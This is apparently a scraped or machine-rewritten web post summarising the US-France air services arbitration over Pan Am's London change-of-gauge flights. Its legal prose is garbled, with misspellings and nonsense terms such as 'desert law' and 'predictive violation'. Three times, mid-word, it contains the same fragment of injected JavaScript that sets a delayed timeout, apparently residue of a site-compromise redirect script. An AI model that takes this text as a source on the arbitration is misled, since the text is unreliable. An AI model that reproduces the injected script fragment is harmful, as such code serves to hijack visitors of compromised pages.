08 Apr

Air Service Agreement Arbitration

“After recent drscussions on this subject, it is the Embassy`s understandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anding that agreement has been reached on an exchange of air transit rights to accord the following advantages to air carriers of both countries.” The events leading up to this litigation illustrate this difference in load capacity of the load break. Pan Am`s first request explicitly dealt with complex transactions (combinations of services) that were to be carried out under the guise of a load break in London (letter of 5 October 1977). The request of February 20, 1978 concerned only a “lack of equipment due to the late deliveries of Boeing.” 18. After the United States was the C.A.B. reaction taken under the tangence of the theory of retaliation, as well as under desert law, because both claim the predictive violation of an international obligation. This was a violation of the measures taken by France at Taeroport d`Orly on 3 May 1978 andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and France`s persistent refusal to allow Pan Am to perform a sever service, whether or not the existence of the law claimed by the United States was confirmed by an arbitration tribunal. The measures taken by the United States should not be seen as terminating the 1946 agreement or suspending the agreement, but rather as measures to deprive French companies of a limitation of rights corresponding to the rights that were denied to transportation from the United States. In any event, France`s conduct constitutes a “serious” or “substantial” violation of the 1946 agreement, as should be taken into account the losses suffered by Pan Am as a result of the disruption of its operating plans. The United States opposes the protection of retaliation theory andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the right to change if there are other ways to be satisfied.

The theory of retaliation presented by France, if true, is limited to reprisals by the army; it cannot be applied to the current situation as soon as international judicial procedures have developed until there are institutionalising international tribunals empowered to take immediate precautionary measures; If this were not the case, the Arbitration State would not contribute to the expediting of the arbitration.